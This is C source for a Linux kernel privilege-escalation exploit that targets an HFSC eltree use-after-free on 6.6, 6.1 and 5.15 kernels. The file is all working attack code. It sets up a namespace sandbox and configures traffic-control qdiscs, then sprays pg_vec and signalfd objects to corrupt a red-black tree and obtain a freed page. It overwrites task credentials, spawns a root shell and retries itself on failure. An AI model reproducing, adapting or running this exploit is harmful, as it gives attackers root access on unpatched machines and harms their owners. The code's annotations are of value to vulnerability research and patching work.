/* * HFSC eltree Use-After-Free exploit (LTS 6.6, COS 6.1, 5.15) * - D3vil (savy@syst3mfailure.io) */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "netlink_utils.h" #define PAGE_SIZE 0x1000 // Sandbox #define UID_MAP "/proc/self/uid_map" #define GID_MAP "/proc/self/gid_map" #define SETGROUPS "/proc/self/setgroups" // Network interfaces #define ADD_LINK RTM_NEWLINK #define DEL_LINK RTM_DELLINK #define NO_PRIO 0 // Traffic control #define ADD_QDISC RTM_NEWQDISC #define DEL_QDISC RTM_DELQDISC #define ADD_CLASS RTM_NEWTCLASS #define DEL_CLASS RTM_DELTCLASS #define SHOW_CLASS RTM_GETTCLASS #define TC_H(x, y) (x << 16 | y) // Packet rings #define PACKET_TX_RING 13 #define PACKET_VERSION 10 #define TPACKET_V1 0 // Exploitation #define MAX_RETRIES 5 #define FILE_CRED_OFFSET_6_X 0x70 #define FILE_CRED_OFFSET_5_15 0x90 #define FILE_PRIVATE_DATA_OFFSET 0xc8 #define NUM_DUMMY_NET_IF 0x700 #define KMALLOC_1K_PARTIALS 0x700 #define KMALLOC_512_CHUNK_SIZE 512 #define HFSC_CLASS_ELNODE_OFFSET 0xa0 #define HFSC_CLASS_CHUNK_SIZE 1024 // kmalloc-1k chunk #define NUM_PGV_BEFORE 0x20 #define NUM_PGV_AFTER 0x40 #define NUM_PGV_TOTAL 0x60 #define NUM_PIPES 0x100 #define NUM_SIGFD 0xa00 enum { KVERS_5_15 = 1, KVERS_6_X, }; struct tc_handle { char *name; void (*func)(struct nlmsghdr *msg, int cmd, void *opt); }; struct tbf_custom_opt { uint32_t burst; uint64_t rate64; }; void tc_handle_tbf(struct nlmsghdr *msg, int cmd, void *opt); void tc_handle_hfsc(struct nlmsghdr *msg, int cmd, void *opt); void tc_handle_netem(struct nlmsghdr *msg, int cmd, void *opt); struct tc_handle tc_handlers[] = { { "tbf", tc_handle_tbf }, { "hfsc", tc_handle_hfsc }, { "netem", tc_handle_netem }, }; int assign_to_core(int core_id) { cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(core_id, &mask); if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0) { perror("[x] sched_setaffinity()"); return -1; } return 0; } int write_file(char *path, char *data, size_t size) { int fd = open(path, O_WRONLY | O_CREAT, 0777); if (fd < 0) return -1; if (write(fd, data, size) < 0) { close(fd); return -1; } close(fd); return 0; } int new_map(char *path, int in, int out) { char buff[0x40] = { 0 }; snprintf(buff, sizeof(buff), "%d %d 1", in, out); if (write_file(path, buff, strlen(buff)) < 0) { perror("[x] new_map() - write()"); return -1; } return 0; } void ulimit_max(void) { struct rlimit limit; if (getrlimit(RLIMIT_NOFILE, &limit) < 0) { perror("[x] getrlimit()"); return; } limit.rlim_cur = limit.rlim_max; if (setrlimit(RLIMIT_NOFILE, &limit) < 0) { perror("[x] setrlimit()"); return; } } int setup_sandbox(void) { int uid = getuid(); int gid = getgid(); if (unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET) < 0) { perror("unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET)"); return -1; } write_file(SETGROUPS, "deny", strlen("deny")); new_map(UID_MAP, 0, uid); new_map(GID_MAP, 0, gid); ulimit_max(); return 0; } int alloc_pg_vec(uint32_t size, uint32_t order) { int s = socket(AF_PACKET, SOCK_RAW, PF_PACKET); if (s < 0) { perror("[x] socket(AF_PACKET)"); return -1; } int version = TPACKET_V1; if (setsockopt(s, SOL_PACKET, PACKET_VERSION, &version, sizeof(int)) < 0) { perror("[x] setsockopt(PACKET_VERSION)"); return -1; } uint32_t block_size = PAGE_SIZE << order; struct tpacket_req req = { .tp_block_size = block_size, .tp_frame_size = PAGE_SIZE, .tp_block_nr = size / sizeof(void *), }; req.tp_frame_nr = (block_size * req.tp_block_nr) / req.tp_frame_size; if (setsockopt(s, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0) { perror("[x] setsockopt(PACKET_TX_RING)"); return -1; } return s; } char *mmap_pg_vec(int s, size_t size) { return (char *)mmap(0, size, PROT_READ|PROT_WRITE, MAP_SHARED, s, 0); } int net_if(int cmd, char *type, int num, int flags, int change) { struct nlmsghdr *msg; struct ifinfomsg ifinfo = {}; char name[0x100] = { 0 }; strcpy(name, type); if (num >= 0) snprintf(name, sizeof(name), "%s-%d", type, num); int sk = nl_init_request(cmd, &msg, NLM_F_REQUEST|NLM_F_CREATE); if (sk < 0) { perror("net_if() - nl_init_request()"); return -1; } ifinfo.ifi_family = AF_UNSPEC; ifinfo.ifi_type = PF_NETROM; ifinfo.ifi_index = (cmd == DEL_LINK) ? if_nametoindex(name) : 0; ifinfo.ifi_flags = flags; ifinfo.ifi_change = change ? 1 : 0; nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO); if (cmd == ADD_LINK) { struct nlmsghdr *options = nlmsg_alloc(); nla_put_u32(msg, IFLA_MTU, 65535); nla_put_string(msg, IFLA_IFNAME, name); nla_put_string(options, IFLA_INFO_KIND, type); nla_put_nested(msg, IFLA_LINKINFO, options); nlmsg_free(options); } return nl_complete_request(sk, msg); } int tc_init_request(struct nlmsghdr **msg, int cmd, char *name, char *net_if, int handle, int parent, int change) { struct tcmsg tchdr = {}; int flags = NLM_F_REQUEST; if (cmd == SHOW_CLASS) flags |= NLM_F_DUMP; else if (!change) flags |= NLM_F_CREATE; int sk = nl_init_request(cmd, msg, flags); if (sk < 0) { perror("tc_prepare_msg() - nl_init_request()"); return -1; } tchdr.tcm_family = AF_UNSPEC; tchdr.tcm_ifindex = if_nametoindex(net_if); tchdr.tcm_handle = handle; tchdr.tcm_parent = parent; tchdr.tcm_info = 0; nlmsg_append(*msg, &tchdr, sizeof(struct tcmsg), NLMSG_ALIGNTO); nla_put_string(*msg, TCA_KIND, name); return sk; } int tc_complete_request(int sk, struct nlmsghdr *msg) { return nl_complete_request(sk, msg); } void tc_handle_tbf(struct nlmsghdr *msg, int cmd, void *opt) { if (cmd == ADD_QDISC) { struct nlmsghdr *options = nlmsg_alloc(); struct tc_tbf_qopt qopt = { .limit = 10000 }; uint32_t burst = 100000; uint64_t rate64 = 100000; if (opt) { struct tbf_custom_opt *custom = (struct tbf_custom_opt *)opt; burst = custom->burst; rate64 = custom->rate64; } nla_put(options, TCA_TBF_PARMS, sizeof(qopt), &qopt); nla_put_u32(options, TCA_TBF_BURST, burst); nla_put_u64(options, TCA_TBF_RATE64, rate64); nla_put_nested(msg, TCA_OPTIONS, options); nlmsg_free(options); } } void tc_handle_hfsc(struct nlmsghdr *msg, int cmd, void *opt) { if (cmd == ADD_QDISC) { struct tc_hfsc_qopt qopt = { .defcls = 0 }; nla_put(msg, TCA_OPTIONS, sizeof(qopt), &qopt); } else if (cmd == ADD_CLASS) { struct nlmsghdr *options = nlmsg_alloc(); struct tc_service_curve copt = { .m2 = 1000 }; nla_put(options, TCA_HFSC_RSC, sizeof(copt), &copt); nla_put_nested(msg, TCA_OPTIONS, options); nlmsg_free(options); } } void tc_handle_netem(struct nlmsghdr *msg, int cmd, void *opt) { if (cmd == ADD_QDISC) { struct tc_netem_qopt opt = { .limit = 1000, .duplicate = -1, }; nla_put(msg, TCA_OPTIONS, sizeof(opt), &opt); } } int tc(int cmd, char *name, char *net_if, int handle, int parent, void *opt, int change) { struct nlmsghdr *msg; int sk = tc_init_request(&msg, cmd, name, net_if, handle, parent, change); if (sk < 0) return -1; for (int i = 0; i < sizeof(tc_handlers) / sizeof(tc_handlers[0]); i++) { if (!strcmp(name, tc_handlers[i].name)) { tc_handlers[i].func(msg, cmd, opt); break; } } return tc_complete_request(sk, msg); } int send_packets(uint8_t *if_name, size_t pkt_size, uint64_t pkt_num, int prio) { struct sockaddr_in dst = {}; struct ifreq ifr = {}; char *pkt = calloc(1, pkt_size); if (!pkt) { return -1; } int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("[x] socket(SOCK_RAW)"); free(pkt); return -1; } strncpy(ifr.ifr_name, if_name, IFNAMSIZ); if (setsockopt(s, SOL_SOCKET, SO_BINDTODEVICE, ifr.ifr_name, IFNAMSIZ) < 0) { perror("[x] setsockopt(SO_BINDTODEVICE)"); free(pkt); close(s); return -1; } if (prio > 0) { if (setsockopt(s, SOL_SOCKET, SO_PRIORITY, &prio, sizeof(prio)) < 0) { perror("[x] setsockopt(SO_PRIORITY)"); free(pkt); close(s); return -1; } } dst.sin_family = AF_INET; dst.sin_addr.s_addr = 0xdeadbeef; for (uint64_t i = 0; i < pkt_num; i++) { memset(pkt, i, pkt_size); if (sendto(s, pkt, pkt_size, 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) { perror("[x] sendto()"); free(pkt); close(s); return -1; } } free(pkt); close(s); return 0; } int alloc_signalfd(int sfd) { uint64_t mask = -1; int fd = signalfd(sfd, (sigset_t *)&mask, 0); if (fd < 0) { perror("[x] signalfd()"); return -1; } return fd; } int get_kernel_version(void) { struct utsname buffer; if (uname(&buffer) == 0) { if (strstr(buffer.release, "6.6")) return KVERS_6_X; if (strstr(buffer.release, "6.1")) return KVERS_6_X; if (strstr(buffer.release, "5.15")) return KVERS_5_15; puts("unknown"); return -1; } perror("uname"); return -1; } void main(int argc, char *argv[]) { char buff[PAGE_SIZE] = { 0 }; char *pages[NUM_PGV_TOTAL]; int sigfd[NUM_SIGFD] = { 0 }; int pipes[NUM_PIPES][2]; int psocks[NUM_PGV_TOTAL]; int psock_a, psock_b; uint64_t *page_a = NULL; uint64_t *page_b = NULL; uint64_t *page = NULL; uint64_t hfsc_elnode = 0; int p = -1; struct tbf_custom_opt tbf_custom_opt = { }; char retries_str[2] = { 0 }; int retries = argc > 1 ? atoi(argv[1]) : 0; int kvers = get_kernel_version(); size_t pgv_size = KMALLOC_512_CHUNK_SIZE + 8; // Minimum size to allocate a pvg in kmalloc-1k size_t total_size = pgv_size / sizeof(void *) * PAGE_SIZE; uint64_t hfsc_class_elnode_offset = kvers == KVERS_5_15 ? (HFSC_CLASS_ELNODE_OFFSET - 8) : HFSC_CLASS_ELNODE_OFFSET; int m = memfd_create("", 0); dup2(m, 696); close(m); assign_to_core(0); setup_sandbox(); net_if(ADD_LINK, "lo", -1, IFF_UP, true); net_if(ADD_LINK, "dummy", 0, IFF_UP, true); for (int i = 0; i < NUM_PIPES; i++) pipe(pipes[i]); tbf_custom_opt.burst = 100; tbf_custom_opt.rate64 = 1; tc(ADD_QDISC, "tbf", "lo", TC_H(1, 0), TC_H_ROOT, &tbf_custom_opt, 0); tc(ADD_QDISC, "hfsc", "lo", TC_H(2, 0), TC_H(1, 0), NULL, 0); send_packets("lo", 64, 2, 0); tc(ADD_QDISC, "hfsc", "dummy-0", TC_H(1, 0), TC_H_ROOT, NULL, 0); for (int i = 0; i < KMALLOC_1K_PARTIALS; i++) tc(ADD_CLASS, "hfsc", "dummy-0", TC_H(1, i + 1), TC_H(1, 0), NULL, 0); tc(ADD_CLASS, "hfsc", "lo", TC_H(2, 1), TC_H(2, 0), NULL, 0); tc(ADD_QDISC, "netem", "lo", TC_H(3, 0), TC_H(2, 1), NULL, 0); for (int i = 0; i < NUM_PGV_BEFORE; i++) psocks[i] = alloc_pg_vec(pgv_size, 0); tc(ADD_CLASS, "hfsc", "lo", TC_H(2, 2), TC_H(2, 0), NULL, 0); for (int i = NUM_PGV_BEFORE; i < NUM_PGV_AFTER; i++) psocks[i] = alloc_pg_vec(pgv_size, 0); send_packets("lo", 64, 2, TC_H(2, 1)); // // A (2:1, root) // / // A (2:1, dupe) // tc(DEL_CLASS, "hfsc", "lo", TC_H(2, 1), 0, NULL, 0); for (int i = NUM_PGV_AFTER; i < NUM_PGV_TOTAL; i++) { psocks[i] = alloc_pg_vec(pgv_size, 0); pages[i] = mmap_pg_vec(psocks[i], total_size); for (int j = 0; j < total_size; j += PAGE_SIZE) pages[i][j] = 1; // For each page, fake RB_BLACK __rb_parent_color } // // P1 // | // A (2:1) // / \ // P3 (P) P2 // send_packets("lo", 64, 1, TC_H(2, 2)); // Insert // RBTree now: // // A (2:1) // / \ // P3 (P) P2 // \ // C (2:2) // // // But if we look it from the P's prospective, the node color is RB_BLACK: // // // 1 (Fake RB_BLACK) // ^ // | // P // \ // C (2:2) // for (int i = NUM_PGV_AFTER; i < NUM_PGV_TOTAL; i++) { page = (uint64_t *)pages[i]; if (memchr(page, 0xFF, total_size) != NULL) { for (int j = 0; j < total_size / sizeof(void *); j += (PAGE_SIZE / sizeof(void *))) { if (page[j + 1] > 1) { // We expect the second qword in the page to be the 2:2 class pointer psock_a = psocks[i]; page_a = (uint64_t *)page; hfsc_elnode = page[j + 1]; // C is P->rb_right, so second qword in the page break; } } break; } } if (!hfsc_elnode) { tc(DEL_CLASS, "hfsc", "lo", TC_H(2, 2), 0, NULL, 0); goto retry; } // Evil Grandpa infiltrates the rbtree uint64_t hfsc_class = hfsc_elnode - hfsc_class_elnode_offset; uint64_t target_pgv = hfsc_class + HFSC_CLASS_CHUNK_SIZE; // class 2:2 + 1024, aka the next object in memory for (int i = 0; i < total_size; i += PAGE_SIZE) *(uint64_t *)((char *)page_a + i) = target_pgv - 0x10; // // E (Evil Grandpa) // / ^ // T | // P // \ // C (2:2) // tc(ADD_CLASS, "hfsc", "lo", TC_H(2, 2), TC_H(2, 0), NULL, 1); // Update // Class 2:2 is deleted: // // E (Evil Grandpa) // / ^ // T | // P // \ // x // // Then re-inserted: // // E (Evil Grandpa) // / ^ // T | // P // \ // C (2:2) // // And the tree rebalanced: // // x // \ // C (2:2) // / // P // // C (2:2) // / \ // P E // / // T (NULL) // tc(DEL_CLASS, "hfsc", "lo", TC_H(2, 2), 0, NULL, 0); // Delete // P is moved from C rb_left to E rb_left // // C // / \ // x E // / // P (TARGET = P) Pwned! // // Then class 2:2 is deleted: // // x // \ // E // / // P // // Find the duplicate page for (int i = 0; i < NUM_PGV_AFTER; i++) { pages[i] = mmap_pg_vec(psocks[i], total_size); // The page is re-mapped, counter -> 3 page = (uint64_t *)pages[i]; if (memchr(page, 0xFF, total_size) != NULL) { psock_b = psocks[i]; page_b = (uint64_t *)page; break; } } if (!page_b) goto retry; munmap(page_a, total_size); // counter = 3 -> 2 munmap(page_b, total_size); // counter = 2 -> 1 close(psock_a); // counter = 1 -> 0 -> free // Page reclaimed, counter = 1 for (int i = 0; i < NUM_PIPES; i++) write(pipes[i][1], buff, PAGE_SIZE); close(psock_b); // counter = 0 -> free (page-UAF) // Get root by setting the task credentials to zero via signalfd4() for (int i = 0; i < NUM_SIGFD; i++) sigfd[i] = alloc_signalfd(-1); page = (uint64_t *)buff; // Find the page containing signalfd files for (int i = 0; i < NUM_PIPES; i++) { read(pipes[i][0], buff, PAGE_SIZE); if (memchr(buff, 0xFF, PAGE_SIZE) != NULL) { p = i; break; } } if (p < 0) goto retry; uint64_t cred_offset = FILE_CRED_OFFSET_6_X; if (!page[FILE_CRED_OFFSET_6_X/sizeof(uint64_t)]) cred_offset = FILE_CRED_OFFSET_5_15; uint64_t num_writes = 48 / sizeof(uint16_t) + 1; uint64_t file_chunk_size = 0x100; uint64_t num_files_per_page = 2; // PAGE_SIZE / file_chunk_size; for (int i = 0; i < num_writes; i++) { for (int j = 0; j < num_files_per_page; j++) { uint64_t file_object_offset = file_chunk_size * j / sizeof(uint64_t); uint64_t file_cred_offset = cred_offset / sizeof(uint64_t); uint64_t file_private_data_offset = FILE_PRIVATE_DATA_OFFSET / sizeof(uint64_t); uint64_t cred = page[file_object_offset + file_cred_offset]; page[file_object_offset + file_private_data_offset] = cred + 48 - i * sizeof(uint16_t); write(pipes[p][1], page, PAGE_SIZE); read(pipes[p][0], page, PAGE_SIZE); for (int k = 0; k < NUM_SIGFD; k++) alloc_signalfd(sigfd[k]); } } int fd = open("/proc/sys/kernel/modprobe", O_RDWR); if (fd < 0) goto retry; system("PS1=\"r0o0ot # \" /bin/sh"); exit(0); retry: if (++retries > MAX_RETRIES) return; for (int i = 0; i < 0x100; i++) close(pipes[i][0]); for (int i = 0; i < 0xa00; i++) close(sigfd[i]); printf("retrying (%d/%d)\n", retries, MAX_RETRIES); snprintf(retries_str, sizeof(retries_str), "%d", retries); char *args[] = { argv[0], retries_str, NULL }; execv(args[0], args); }